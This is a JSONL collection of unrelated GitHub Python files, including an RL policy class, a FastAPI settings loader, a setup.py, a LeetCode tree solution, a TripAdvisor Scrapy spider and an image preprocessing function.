+{"seq_id":"2516792171","text":"from src.hillproblem.HillDomain import HillDomain\nimport imageio\nimport numpy\nimport random\n\n\nclass Policy:\n    # Permet de créer des policy qui seront standart, la class possède des policy predefinies\n\n    def __init__(self, fn=None):\n        self.domain = HillDomain\n        if (fn is None) or (fn == \"random\"):\n            self.fn = self.random\n        elif fn == \"right\":\n            self.fn = self.right\n        elif fn == \"left\":\n            self.fn = self.left\n        else:\n            assert callable(fn)\n            self.fn = fn\n\n    def __call__(self, *args, **kwargs):\n        # Permet à l'objet de se comporter comme une fonction, on s'assure que les arguments soit du bon type\n        assert len(kwargs) == 0\n        assert len(args) == 1\n        assert isinstance(*args, tuple)\n        assert len(*args) == 2\n        return self.fn(*args)\n\n    def random(self, position):\n        return random.choice(self.domain.VALID_ACTIONS)\n\n    def right(self, position):\n        return self.domain.RIGHT\n\n    def left(self, position):\n        return self.domain.LEFT\n\n    def display(self):\n        position_points = 40\n        speed_point = 120\n        m = numpy.array([[0. for _ in range(10 * position_points)] for _ in range(10 * speed_point)])\n        for i in range(position_points):\n            p = -1 + (i / 20)\n            for j in range(speed_point):\n                s = -3 + (j / 20)\n                if self((s,p)) == -4:\n                    c = 200.  # Black\n                else:\n                    c = 0. # White\n                m[(10 * speed_point) - (10 * j) - 10: (10 * speed_point) - (10 * j), (10 * i): (10 * i) + 10] = numpy.full((10, 10), c)\n\n        m[(10 * speed_point)//2 - 1: (10 * speed_point)//2 + 1, :] = numpy.full((2, 400), 255)\n        m[:, (10 * position_points)//2 - 1: (10 * position_points)//2 + 1] = numpy.full((1200, 2), 255)\n        imageio.imwrite('images/policy.png', m.astype(\"uint8\"))\n","repo_name":"MaximeSchlegel/INFO8003-Assignment_2","sub_path":"src/policy/Policy.py","file_name":"Policy.py","file_ext":"py","file_size_in_byte":1934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"73078088158","text":"\"\"\"\nДобавление параметров настроек из файла `./settings.py` в\nпеременные окружения, для использования этих параметров\nв любой точке программы\n\"\"\"\n\n__all__ = [\"mount_env\", \"AllowedNamesTypeFromSettings\", \"BaseSettings\"]\n\nimport re\nfrom abc import abstractclassmethod\nfrom os import environ\nfrom pathlib import Path\nfrom typing import Optional, Any, Type\n\nfrom vetcin_pack_fastapi.mount_logic import BaseMount\n\n\nclass AllowedNamesTypeFromSettings():\n    \"\"\"\n    Список поддерживаемых переменных в файле с настройками\n\n    None - подразумевает что эти переменные обязательны для переопределения\n\n    Эти переменные будут доступны в переменных окружениях интерпретатора `os.environ`\n    \"\"\"\n    \"\"\"Пути\"\"\"\n    #: Полный путь к проекту FASTAPI\n    BASE_DIR: Path = None\n    #: Полный путь к проекту (на 1 уровень выше)\n    ROOT_DIR: Path = None\n    #: Путь к папке со статическими файлами\n    #: FastApi будет маршрутизировать папку со статическими файлами,\n    #: если вы хотите это делать с помощью Nginx то установите пустую строку ''\n    STATIC_PATH: Path = None\n    \"\"\"БД\"\"\"\n    #: Url подключения к БД ``СУБД+ДРАЙВЕР://USER:PASSWORD@HOST:PORT/ИМЯ_БД``\n    SQLALCHEMY_DATABASE_URL: str = None\n    \"\"\"Сервер\"\"\"\n    #: На коком хосту запустить веб сервер\n    HOST_WEB: Optional[str] = \"0.0.0.0\"\n    #: На коком порту запустить веб сервер\n    PORT_WEB: Optional[int] = \"8080\"\n    #: Авто перезагрузка сервера\n    RELOAD_WEB: bool = True\n    \"\"\"Отчетность\"\"\"\n    #: Все добавленные приложения\n    ALL_APP: str = \"\"\n    #: Все добавленные SQL модели\n    ALL_MODEL: str = \"\"\n    \"\"\"Админ панель\"\"\"\n    #: Имя админа\n    ADMIN_USER_NAME: str = ''\n    #: Пароль от админ панели\n    ADMIN_PASSWORD: str = ''\n\n    @classmethod\n    def default_dit(cls, **kwargs):\n        \"\"\"Вернуть словарь в виде `атрибут:значение`\"\"\"\n        return {_k: _v for _k, _v\n                in cls.__dict__.items() if\n                not _k.startswith(\"__\") and\n                not _k.endswith(\"__\") and\n                _k not in kwargs} | kwargs\n\n\n#: Доступные настройки\nAllowedNames: dict[str, Any] = AllowedNamesTypeFromSettings.default_dit()\n\n\nclass BaseSettings(AllowedNamesTypeFromSettings):\n    \"\"\"Шаблон для настроек\"\"\"\n\n    class Mount(BaseMount):\n        @abstractclassmethod\n        def mount_app(self):\n            ...\n\n\ndef mount_env(settings_obj: Type[BaseSettings]):\n    \"\"\"\n    Подключаем переменные окружения\n    \"\"\"\n    __read_params_from_settings_file(settings_obj)\n\n\ndef __read_params_from_settings_file(settings_obj: Type[BaseSettings]):\n    \"\"\"\n    Прочитать файл с настройками и занести их\n    в переменные окружения интерпретатора\n    \"\"\"\n    implemented = set()\n    # Получить переменные из файла конфигурации.\n    for _k, _v in settings_obj.__dict__.items():\n        # Если имя конфигурации разрешено, то добавляем его в переменные окружения\n        if _k in AllowedNames:\n            environ[_k] = str(_v)\n            implemented.add(_k)\n    # Для не переопределенных переменных берем значения по умолчанию\n    for _no_implemented in set(AllowedNames.keys()) - implemented:\n        # Если переменная обязательна для переопределения, то вызываем исключение\n        if AllowedNames[_no_implemented] is None:\n            raise KeyError(f\"В файле настроек `settings.py` не реализована переменная {_no_implemented}\")\n        else:\n            environ[_no_implemented] = str(AllowedNames[_no_implemented])\n\n\ndef read_env_file(file_name: str) -> dict[str, str]:\n    \"\"\"Чтение переменных окружения из указанного файла, и добавление их в ПО `python`\"\"\"\n    with open(file_name, 'r', encoding='utf-8') as _file:\n        res = {}\n        for line in _file:\n            tmp = re.sub(r'^#[\\s\\w\\d\\W\\t]*|[\\t\\s]', '', line)\n            if tmp:\n                k, v = tmp.split('=', 1)\n                # Если значение заключено в двойные кавычки, то нужно эти кавычки убрать\n                if v.startswith('\"') and v.endswith('\"'):\n                    v = v[1:-1]\n                res[k] = v\n    return res\n","repo_name":"denisxab/vetcin_pack_fastapi","sub_path":"vetcin_pack_fastapi/settings_logic.py","file_name":"settings_logic.py","file_ext":"py","file_size_in_byte":5193,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"35438367972","text":"import re\nfrom pathlib import Path\n\nfrom setuptools import setup, find_packages\n\nTHIS_DIR = Path(__file__).parent\n\n\ndef find_version():\n    \"\"\"Grab the version out of simulacra/version.py without importing it.\"\"\"\n    version_file_text = (THIS_DIR / \"simulacra\" / \"version.py\").read_text()\n    version_match = re.search(\n        r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\", version_file_text, re.M\n    )\n    if version_match:\n        return version_match.group(1)\n    raise RuntimeError(\"Unable to find version string.\")\n\n\nsetup(\n    name=\"simulacra\",\n    version=find_version(),\n    author=\"Josh Karpel\",\n    author_email=\"josh.karpel@gmail.com\",\n    description=\"A Python library for running simulations and generating visualizations.\",\n    long_description=Path(\"README.md\").read_text(),\n    url=\"https://github.com/JoshKarpel/simulacra\",\n    classifiers=[\n        \"Development Status :: 2 - Pre-Alpha\",\n        \"Intended Audience :: Science/Research\",\n        \"License :: OSI Approved :: Apache Software License\",\n        \"Natural Language :: English\",\n        \"Programming Language :: Python :: 3 :: Only\",\n        \"Programming Language :: Python :: 3.7\",\n        \"Operating System :: Microsoft :: Windows\",\n        \"Operating System :: POSIX\",\n        \"Topic :: Scientific/Engineering\",\n        \"Topic :: Scientific/Engineering :: Physics\",\n        \"Topic :: Scientific/Engineering :: Visualization\",\n        \"Topic :: System :: Distributed Computing\",\n    ],\n    packages=find_packages(exclude=[\"dev\", \"tests\"]),\n    install_requires=Path(\"requirements.txt\").read_text().splitlines(),\n)\n","repo_name":"JoshKarpel/simulacra","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"13762364112","text":"InFp=None\ninStr=\"\"\n\ninFp=open(\"C:/Temp/data1.txt\", \"r\", encoding='utf-8')\n\n##while True :\n##    inStr=inFp.readline()\n##    if inStr==\"\":\n##        break;\n##    print(inStr, end=\"\") #readline()이용\n\ninList = inFp.readlines()\nprint(inList) #readlines()이용\n\ninFp.close() #close()사용하고 싶지 않을 때는 첫줄에 with open(\"경로\") as inFp: 사\n","repo_name":"10000sun/academyRecords","sub_path":"Python/20220913/ex0913p352.py","file_name":"ex0913p352.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"1338020767","text":"from stable_baselines3.common.env_checker import check_env\nfrom tennis_env import TennisEnv\n\n\nenv = TennisEnv()\n# It will check your custom environment and output additional warnings if needed\ncheck_env(env)\n\nwhile True:\n    random_action = env.action_space.sample()\n    obs, reward, done, info = env.step(random_action)\n    print(reward)","repo_name":"branyang02/tennis_project","sub_path":"gym-tennis/checkenv.py","file_name":"checkenv.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"11367344088","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution:\n    def __init__(self):\n        self.output = []\n        \n        \n    def helper(self, node, targetSum, curList):\n        if node:\n            curList.append(node.val)\n            targetSum -= node.val\n            if not node.left and not node.right:\n                if targetSum == 0:\n                    self.output.append(list(curList))\n            self.helper(node.left, targetSum, curList)\n            self.helper(node.right, targetSum, curList)\n            curList.pop()\n            targetSum += node.val\n        \n    \n    def pathSum(self, root: Optional[TreeNode], targetSum: int) -> List[List[int]]:\n        self.helper(root, targetSum, [])\n        return self.output\n","repo_name":"TaylorTA/LeetCode","sub_path":"113PathSumII.py","file_name":"113PathSumII.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"5533065001","text":"import scrapy\n\nimport json\nfrom ..items import TaAccommodationinfoItem\nimport chompjs\nimport sys\n\nsys.path.insert(0, \"C:/Users/mkind/PycharmProjects/TripAdvisor_scrapers_2022/Input_directory\")\nfrom Input_file import input_url\n\n\nclass accommodation_spider(scrapy.Spider):\n    name = \"accommodation_spider\"\n    start_urls = [input_url]\n\n    # The accommodation_spider uses url scraped by the listings_spider. Accommodation spider asks the input_file for\n    # the url from the most recent relevant listings_spider run (read more on this in the input_file). The spider then\n    # establishes a connection with the collection and stores the data in a DataFrame to work on it.\n\n    def parse(self, response, **kwargs):\n        for link in response.css(\".listing_title a::attr(href)\"):\n            yield response.follow(link.get(), callback=self.parse_accommodations)\n\n        next_page = response.css(\"a.next::attr(href)\").get()\n        if next_page is not None:\n            yield response.follow(next_page, callback=self.parse)\n\n\n    def parse_accommodations(self, response, **kwargs):\n\n        # The following function is used to run through the json-tree of a given json-object and search it for a given\n        # key and return its corresponding value.\n        def nested_key_grabber(key, obj):\n            if isinstance(obj, dict):\n                for k, v in obj.items():\n                    if k == key:\n                        yield v\n                    else:\n                        yield from nested_key_grabber(key, v)\n            elif isinstance(obj, list):\n                for v in obj:\n                    yield from nested_key_grabber(key, v)\n\n        # We access the downloaded page file and search for the pageManifest script to isolate it and\n        # transform it into a json file.\n\n        resp = response.xpath(\"//script[contains(.,'requests')]/text()\").extract_first()\n        access_json = chompjs.parse_js_object(resp)\n        access_json = json.dumps(access_json)\n        access_json = json.loads(access_json)\n\n        # Within the json file we search for the subsection \"urqlCache\" - there the relevant data is stored.\n        # The json file contains further nested json-files which however are \"stringify\"-ed, thus made into\n        # strings containing expressions that need to be cleaned in order to be processed as a normal json-file.\n\n        urql_json = next(nested_key_grabber('urqlCache', access_json))\n        urql_json_dump = json.dumps(urql_json)\n        urql_json_loads = json.loads(urql_json_dump)\n        urql_json_dump_again = json.dumps(urql_json_loads)\n\n        clean_access_json = urql_json_dump_again.replace(\"\\\\\\\\n\", \" \")\\\n            .replace('\\\\\\\\\"', \"'\")\\\n            .replace(\"\\\\\", \"\") \\\n            .replace(' \"{', '{')\\\n            .replace('}\"},', '}},')\\\n            .removesuffix('\"}}')\n        clean_access_json_with_suffix = clean_access_json + \"}}\"\n\n        fully_restored_json = json.loads(clean_access_json_with_suffix)\n\n\n#########################\n        # Now that the json-file is \"fully restored\" and the function is set up we retrieve the elements we are\n        # interested in. Since the nested_key_grabber - function is a generator we access its results with next()\n\n        try:\n            accommodation_name = next(nested_key_grabber(\"currentLocation\", fully_restored_json))[0][\"name\"]\n        except Exception as e:\n            print(f\"Error! {e} (accommodation_name)\")\n            accommodation_name = \"N/A\"\n\n        accommodation_url = next(nested_key_grabber(\"initialAbsoluteUrl\", access_json))\n        accommodation_type = next(nested_key_grabber(\"accommodationType\", fully_restored_json))\n\n        ### Location\n        try:\n            location_latitude = next(nested_key_grabber(\"currentLocation\", fully_restored_json))[0][\"latitude\"]\n        except Exception as e:\n            print(f\"Error! {e} (location_latitude)\")\n            location_latitude = \"N/A\"\n\n        try:\n            location_longitude = next(nested_key_grabber(\"currentLocation\", fully_restored_json))[0][\"longitude\"]\n        except Exception as e:\n            print(f\"Error! {e} (location_longitude)\")\n            location_longitude = \"N/A\"\n\n        try:\n            location_coordinates = [location_latitude] + [location_longitude]\n        except Exception as e:\n            print(f\"Error! {e} (location_coordinates)\")\n            location_coordinates = \"N/A\"\n\n        try:\n            location_address = next(nested_key_grabber(\"currentLocation\", fully_restored_json))[0][\"streetAddress\"][\n                \"fullAddress\"]\n        except Exception as e:\n            print(f\"Error! {e} (location_address)\")\n            location_address = \"N/A\"\n\n        try:\n            location_id = next(nested_key_grabber(\"currentLocation\", fully_restored_json))[0][\"locationId\"]\n        except Exception as e:\n            print(f\"Error! {e} (location_id)\")\n            location_id = \"N/A\"\n\n        try:\n            tripadvisor_region_id = next(nested_key_grabber(\"parentGeoId\", fully_restored_json))\n        except Exception as e:\n            print(f\"Error! {e} (tripadvisor_region_id)\")\n            tripadvisor_region_id = \"N/A\"\n\n        try:\n            region_language = next(nested_key_grabber(\"currentLocation\", fully_restored_json))[0][\"localLanguage\"]\n        except Exception as e:\n            print(f\"Error! {e} (region_language)\")\n            region_language = \"N/A\"\n\n        try:\n            distance_unit = next(nested_key_grabber(\"nearbyWithPreferredPOIs\", fully_restored_json))[\"distanceUnit\"]\n        except Exception as e:\n            print(f\"Error! {e} (distance_unit)\")\n            distance_unit = \"N/A\"\n\n        #########\n        try:\n            nearby_transit = []\n            for item in next(nested_key_grabber(\"nearbyTransit\", fully_restored_json)):\n                one_transit = {}\n                one_transit.update({\"locationDescription\": next(nested_key_grabber(\"locationDescription\", item))})\n                one_transit.update({\"name\": next(nested_key_grabber(\"name\", item))})\n                one_transit.update(\n                    {\"linear_distance_to_location\": next(nested_key_grabber(\"distanceFromCenter\", item))})\n\n                nearby_transit.append(one_transit)\n\n        except Exception as e:\n            print(f\"Error! {e} (nearby_transit)\")\n            nearby_transit = \"N/A\"\n\n        ####\n        try:\n            nearby_airport = []\n            for item in next(nested_key_grabber(\"nearbyAirports\", fully_restored_json)):\n                one_airport = {}\n                one_airport.update({\"name\": next(nested_key_grabber(\"locationName\", item))})\n                one_airport.update(\n                    {\"linear_distance_to_location\": next(nested_key_grabber(\"distanceFromCenter\", item))})\n                nearby_airport.append(one_airport)\n        except Exception as e:\n            print(f\"Error! {e} (nearby_airport)\")\n            nearby_airport = \"N/A\"\n\n        ####\n        try:\n            distance_range = next(nested_key_grabber(\"nearbyWithPreferredPOIs\", fully_restored_json))[\"distanceRange\"]\n        except Exception as e:\n            print(f\"Error! {e} (distance_range)\")\n            distance_range = \"N/A\"\n\n        try:\n            attraction_count = next(nested_key_grabber(\"nearbyWithPreferredPOIs\", fully_restored_json))[\n                \"attractionCount\"]\n        except Exception as e:\n            print(f\"Error! {e} (attraction_count)\")\n            attraction_count = \"N/A\"\n\n        try:\n            hotel_count = next(nested_key_grabber(\"nearbyWithPreferredPOIs\", fully_restored_json))[\"hotelCount\"]\n        except Exception as e:\n            print(f\"Error! {e} (hotel_count)\")\n            hotel_count = \"N/A\"\n\n        try:\n            restaurant_count = next(nested_key_grabber(\"nearbyWithPreferredPOIs\", fully_restored_json))[\n                \"restaurantCount\"]\n        except Exception as e:\n            print(f\"Error! {e} (restaurant_count)\")\n            restaurant_count = \"N/A\"\n\n        try:\n            nearby_attractions_summary = {}\n            nearby_attractions_summary.update({\"distance_range\": distance_range,\n                                               \"attraction_count\": attraction_count,\n                                               \"hotel_count\": hotel_count,\n                                               \"restaurant_count\": restaurant_count\n                                               })\n        except Exception as e:\n            print(f\"Error! {e} (nearby_attractions_summary)\")\n            nearby_attractions_summary = \"N/A\"\n\n        ####\n        try:\n            walkScore_TA = next(nested_key_grabber(\"walkScore\", fully_restored_json))\n        except Exception as e:\n            print(f\"Error! {e} (walkScore_TA)\")\n            walkScore_TA = \"N/A\"\n\n        ###\n        try:\n            nearby_locations_detail = []\n            for item in next(nested_key_grabber(\"nearbyLocationList\", fully_restored_json)):\n                one_location = {}\n                one_location.update({\"location_type\": next(nested_key_grabber(\"placeType\", item))})\n\n                one_location.update({\"location_name\": next(nested_key_grabber(\"name\", item))})\n                one_location.update({\"location_linear_distance\": next(nested_key_grabber(\"distanceFromCenter\", item))})\n\n                location_latitude = next(nested_key_grabber(\"latitude\", fully_restored_json))\n                location_longitude = next(nested_key_grabber(\"longitude\", fully_restored_json))\n                location_coordinates = [location_latitude] + [location_longitude]\n\n                one_location.update({\"location_coordinates\": location_coordinates})\n                one_location.update({\"location_name\": next(nested_key_grabber(\"name\", item))})\n                one_location.update({\"location_rating\": next(nested_key_grabber(\"rating\", item))})\n                one_location.update({\"location_rating_count\": next(nested_key_grabber(\"count\", item))})\n\n                try:\n                    attraction_tags = []\n                    for attraction in next(nested_key_grabber(\"detail\", item))[\"type\"]:\n                        attraction_tags.append(attraction[\"tagNameLocalized\"])\n                    one_location.update({\"location_detail\": attraction_tags})\n\n                except:\n                    pass\n\n                try:\n                    eatery_tags = []\n                    for attraction in next(nested_key_grabber(\"detail\", item))[\"cuisines\"]:\n                        eatery_tags.append(attraction[\"tagNameLocalized\"])\n                    one_location.update({\"location_detail\": eatery_tags})\n                except:\n                    pass\n                nearby_locations_detail.append(one_location)\n\n        except Exception as e:\n            print(f\"Error! {e} (nearby_locations_detail)\")\n            nearby_locations_detail = \"N/A\"\n\n        ###### Language\n        try:\n            accommodation_languages = []\n            for language in next(nested_key_grabber(\"languagesSpoken\", fully_restored_json)):\n                accommodation_languages.append(language[\"amenityNameLocalized\"])\n        except Exception as e:\n            print(f\"Error! {e} (accommodation_languages)\")\n            accommodation_languages = \"N/A\"\n\n        #### Hotel Class\n\n        try:\n            accommodation_stars = next(nested_key_grabber(\"starRating\", fully_restored_json))[0][\"tagNameLocalized\"]\n\n        except Exception as e:\n            print(f\"Error! {e} (accommodation_stars)\")\n            accommodation_stars = \"N/A\"\n\n        try:\n            star_rating_provider = next(nested_key_grabber(\"providerStarRatingSource\", fully_restored_json))[0][\n                \"tooltipText\"]\n        except Exception as e:\n            print(f\"Error! {e} (star_rating_provider)\")\n            star_rating_provider = \"N/A\"\n\n        ##### Ratings\n        try:\n            overall_rating = next(nested_key_grabber(\"rating\", fully_restored_json))\n        except Exception as e:\n            print(f\"Error! {e} (overall_rating)\")\n            overall_rating = \"N/A\"\n        try:\n            overall_rating_count = next(nested_key_grabber(\"reviewSummary\", fully_restored_json))[\"count\"]\n        except Exception as e:\n            print(f\"Error! {e} (overall_rating)\")\n            overall_rating_count = \"N/A\"\n\n        try:\n            subratings = {}\n            for subrating in next(nested_key_grabber(\"reviewSubratingAvgs\", fully_restored_json)):\n\n                if subrating[\"questionId\"] == 10:\n                    subratings.update({\"overall_satisfaction_subrating\": subrating[\"avgRating\"]})\n\n                if subrating[\"questionId\"] == 11:\n                    subratings.update({\"rooms_subrating\": subrating[\"avgRating\"]})\n\n                if subrating[\"questionId\"] == 12:\n                    subratings.update({\"service_subrating\": subrating[\"avgRating\"]})\n\n                if subrating[\"questionId\"] == 13:\n                    subratings.update({\"value_subrating\": subrating[\"avgRating\"]})\n\n                if subrating[\"questionId\"] == 14:\n                    subratings.update({\"cleanliness_subrating\": subrating[\"avgRating\"]})\n\n                if subrating[\"questionId\"] == 47:\n                    subratings.update({\"location_subrating\": subrating[\"avgRating\"]})\n\n                if subrating[\"questionId\"] == 190:\n                    subratings.update({\"sleep_quality_subrating\": subrating[\"avgRating\"]})\n        except Exception as e:\n            print(f\"Error! {e} (subratings)\")\n            subratings = \"N/A\"\n\n        #### Amenities\n        try:\n            property_amenities_highlighted = []\n            for feature in next(nested_key_grabber(\"highlightedAmenities\", fully_restored_json))[\"propertyAmenities\"]:\n                property_amenities_highlighted.append(feature[\"amenityNameLocalized\"])\n\n            property_amenities_non_highlighted = []\n            for feature in next(nested_key_grabber(\"nonHighlightedAmenities\", fully_restored_json))[\n                \"propertyAmenities\"]:\n                property_amenities_non_highlighted.append(feature[\"amenityNameLocalized\"])\n\n            property_amenities = property_amenities_highlighted + property_amenities_non_highlighted\n\n        except Exception as e:\n            print(f\"Error! {e} (property_amenities)\")\n            property_amenities = \"N/A\"\n\n        try:\n            room_features_highlighted = []\n            for feature in next(nested_key_grabber(\"highlightedAmenities\", fully_restored_json))[\"roomFeatures\"]:\n                room_features_highlighted.append(feature[\"amenityNameLocalized\"])\n\n            room_features_non_highlighted = []\n            for feature in next(nested_key_grabber(\"nonHighlightedAmenities\", fully_restored_json))[\"roomFeatures\"]:\n                room_features_non_highlighted.append(feature[\"amenityNameLocalized\"])\n\n            room_features = room_features_highlighted + room_features_non_highlighted\n\n        except Exception as e:\n            print(f\"Error! {e} (room_features)\")\n            room_features = \"N/A\"\n\n        try:\n            room_types_highlighted = []\n            for feature in next(nested_key_grabber(\"highlightedAmenities\", fully_restored_json))[\"roomTypes\"]:\n                room_types_highlighted.append(feature[\"amenityNameLocalized\"])\n\n            room_types_non_highlighted = []\n            for feature in next(nested_key_grabber(\"nonHighlightedAmenities\", fully_restored_json))[\"roomTypes\"]:\n                room_types_non_highlighted.append(feature[\"amenityNameLocalized\"])\n\n            room_types = room_types_highlighted + room_types_non_highlighted\n\n        except Exception as e:\n            print(f\"Error! {e} (room_types)\")\n            room_types = \"N/A\"\n\n        ########### Special badges\n        try:\n            green_leaders_level = next(nested_key_grabber(\"greenLeader\", fully_restored_json))\n        except Exception as e:\n            print(f\"Error! {e} (green_leaders_level)\")\n            green_leaders_level = \"N/A\"\n\n        try:\n            travelers_choice_award = response.css(\".eHWKb\").css(\"img::attr(alt)\").extract()\n            print(type(travelers_choice_award))\n        except Exception as e:\n            print(f\"Error! {e} (travelers_choice_award)\")\n            travelers_choice_award = \"N/A\"\n\n\n        ##### Prices\n        try:\n            currency_used = next(nested_key_grabber(\"currency\", access_json))\n        except Exception as e:\n            print(f\"Error! {e} (currency_used)\")\n            currency_used = \"N/A\"\n\n\n\n        main_offers = []\n        for offer in next(nested_key_grabber(\"chevronOffers\", access_json)):\n            one_offer = {}\n\n            try:\n                one_offer.update({\"provider_name\": offer[\"data\"][\"dataAtts\"][\"data-vendorName\"]})\n            except KeyError:\n                one_offer.update({\"provider_name\": \"N/A\"})\n\n            try:\n                one_offer.update({\"price\": offer[\"data\"][\"dataAtts\"][\"data-perNight\"]})\n            except KeyError:\n                one_offer.update({\"price\": \"N/A\"})\n\n            try:\n                one_offer.update({\"taxes\": offer[\"data\"][\"dataAtts\"][\"data-taxesValue\"]})\n            except KeyError:\n                one_offer.update({\"taxes\": \"N/A\"})\n\n            main_offers.append(one_offer)\n\n\n\n        textlink_offers = []\n        for offer in next(nested_key_grabber(\"textLinkOffers\", access_json)):\n            one_offer = {}\n\n            try:\n                one_offer.update({\"provider_name\": offer[\"data\"][\"dataAtts\"][\"data-vendorName\"]})\n            except KeyError:\n                one_offer.update({\"provider_name\": \"N/A\"})\n\n            try:\n                one_offer.update({\"price\": offer[\"data\"][\"dataAtts\"][\"data-perNight\"]})\n            except KeyError:\n                one_offer.update({\"price\": \"N/A\"})\n\n            try:\n                one_offer.update({\"taxes\": offer[\"data\"][\"dataAtts\"][\"data-taxesValue\"]})\n            except KeyError:\n                one_offer.update({\"taxes\": \"N/A\"})\n\n            textlink_offers.append(one_offer)\n\n\n\n        hidden_offers = []\n        for offer in next(nested_key_grabber(\"hiddenOffers\", access_json)):\n            one_offer = {}\n\n            try:\n                one_offer.update({\"provider_name\": offer[\"data\"][\"dataAtts\"][\"data-vendorName\"]})\n            except KeyError:\n                one_offer.update({\"provider_name\": \"N/A\"})\n\n            hidden_offers.append(one_offer)\n\n\n        try:\n            price_percentiles_USD_cent = []\n            for item in next(nested_key_grabber(\"percentiles\", access_json)):\n                one_item = {}\n                one_item.update({\"percentile_type\": item[\"percentileType\"]})\n                one_item.update({\"start_date\": item[\"startDate\"]})\n                one_item.update({\"end_date\": item[\"endDate\"]})\n                one_item.update({\"end_date\": item[\"endDate\"]})\n                one_item.update({\"range_high\": item[\"pricesUSD\"][\"rangeHigh\"]})\n                one_item.update({\"range_low\": item[\"pricesUSD\"][\"rangeLow\"]})\n                one_item.update({\"min_price\": item[\"pricesUSD\"][\"min\"]})\n                one_item.update({\"low_price\": item[\"pricesUSD\"][\"low\"]})\n                price_percentiles_USD_cent.append(one_item)\n        except Exception as e:\n            print(f\"Error! {e} (price_percentiles_USD_cent)\")\n            price_percentiles_USD_cent = \"N/A\"\n\n        try:\n            price_USD_cent_future = []\n            for x in next(nested_key_grabber(\"items\", access_json)):\n                listitem = {}\n                listitem.update({\"date\": x[\"date\"]})\n                listitem.update({\"price_USD_cent\": x[\"priceUSD\"]})\n                price_USD_cent_future.append(listitem)\n        except Exception as e:\n            print(f\"Error! {e} (price_USD_cent_future)\")\n            price_USD_cent_future = \"N/A\"\n\n\n\n        #### Photos\n        try:\n            front_photos = []\n            for item in next(nested_key_grabber(\"windowPanes\", fully_restored_json))[0][\"albums\"][0][\"mediaList\"]:\n                front_photos.append(next(nested_key_grabber(\"photoSizes\", item))[-1][\"url\"])\n        except Exception as e:\n            print(f\"Error! {e} (front_photos)\")\n            front_photos = \"N/A\"\n\n\n        #########################\n        # In the last step we assign the extracted data to scrapy item-vessels which are defined in the items.py file\n\n        items = TaAccommodationinfoItem()\n\n        items[\"accommodation_name\"] = accommodation_name\n        items[\"accommodation_url\"] = accommodation_url\n        items[\"accommodation_type\"] = accommodation_type\n        items[\"location_coordinates\"] = location_coordinates\n        items[\"location_address\"] = location_address\n        items[\"location_id\"] = location_id\n        items[\"region_id\"] = tripadvisor_region_id\n        items[\"region_language\"] = region_language\n        items[\"distance_unit\"] = distance_unit\n        items[\"nearby_transit\"] = nearby_transit\n        items[\"nearby_airport\"] = nearby_airport\n        items[\"nearby_attractions_summary\"] = nearby_attractions_summary\n        items[\"walkScore_TA\"] = walkScore_TA\n        items[\"nearby_locations_detail\"] = nearby_locations_detail\n        items[\"accommodation_languages\"] = accommodation_languages\n        items[\"accommodation_stars\"] = accommodation_stars\n        items[\"star_rating_provider\"] = star_rating_provider\n        items[\"overall_rating\"] = overall_rating\n        items[\"overall_rating_count\"] = overall_rating_count\n        items[\"subratings\"] = subratings\n        items[\"property_amenities\"] = property_amenities\n        items[\"room_features\"] = room_features\n        items[\"room_types\"] = room_types\n        items[\"green_leaders_level\"] = green_leaders_level\n        items[\"travelers_choice_award\"] = travelers_choice_award\n        items[\"front_photos\"] = front_photos\n\n        items[\"currency_used\"] = currency_used\n        items[\"main_offers\"] = main_offers\n        items[\"textlink_offers\"] = textlink_offers\n        items[\"hidden_offers\"] = hidden_offers\n        items[\"price_percentiles_USD_cent\"] = price_percentiles_USD_cent\n        items[\"price_USD_cent_future\"] = price_USD_cent_future\n\n        yield items\n#########################\n\n","repo_name":"KindLundt/tripadvisor-scraper","sub_path":"TA_accommodationinfo/TA_accommodationinfo/spiders/accommodationinfo_spider.py","file_name":"accommodationinfo_spider.py","file_ext":"py","file_size_in_byte":22132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"70083410400","text":"#!/usr/env/python\n\nimport numpy as np\nimport cv2\n\n# define the image preprocessing procedure\ndef fun_img_preprocessing(image, image_final_height, image_final_width):\n\n    # crop the 1/3 upper part of the image\n    new_img = image[480/3:, :, :]\n\n    # transform the color image to grayscale\n    new_img = cv2.cvtColor( new_img[:, :, :], cv2.COLOR_RGB2GRAY )\n\n    # resize the image from 320x640 to 48x96\n    new_img = cv2.resize( new_img, ( image_final_width, image_final_height ) ) # returns image 48 x 96 and not 96 x 48\n\n    # normalize image to range [0, 1] (divide each pixel by 255)\n    # first transform the array of int to array of float else the division with 255 will return an array of 0s\n    new_img = new_img.astype(float)\n    new_img = new_img / 255\n\n    # reshape the image to row vector [1, 48x96]\n    new_img = np.reshape(new_img, (1, -1))\n\n    return new_img\n","repo_name":"duckietown/AIDO18_baselines","sub_path":"tasks/AIDO18_E_LF1_PIM/TF_PB1/src/image_preprocessing.py","file_name":"image_preprocessing.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
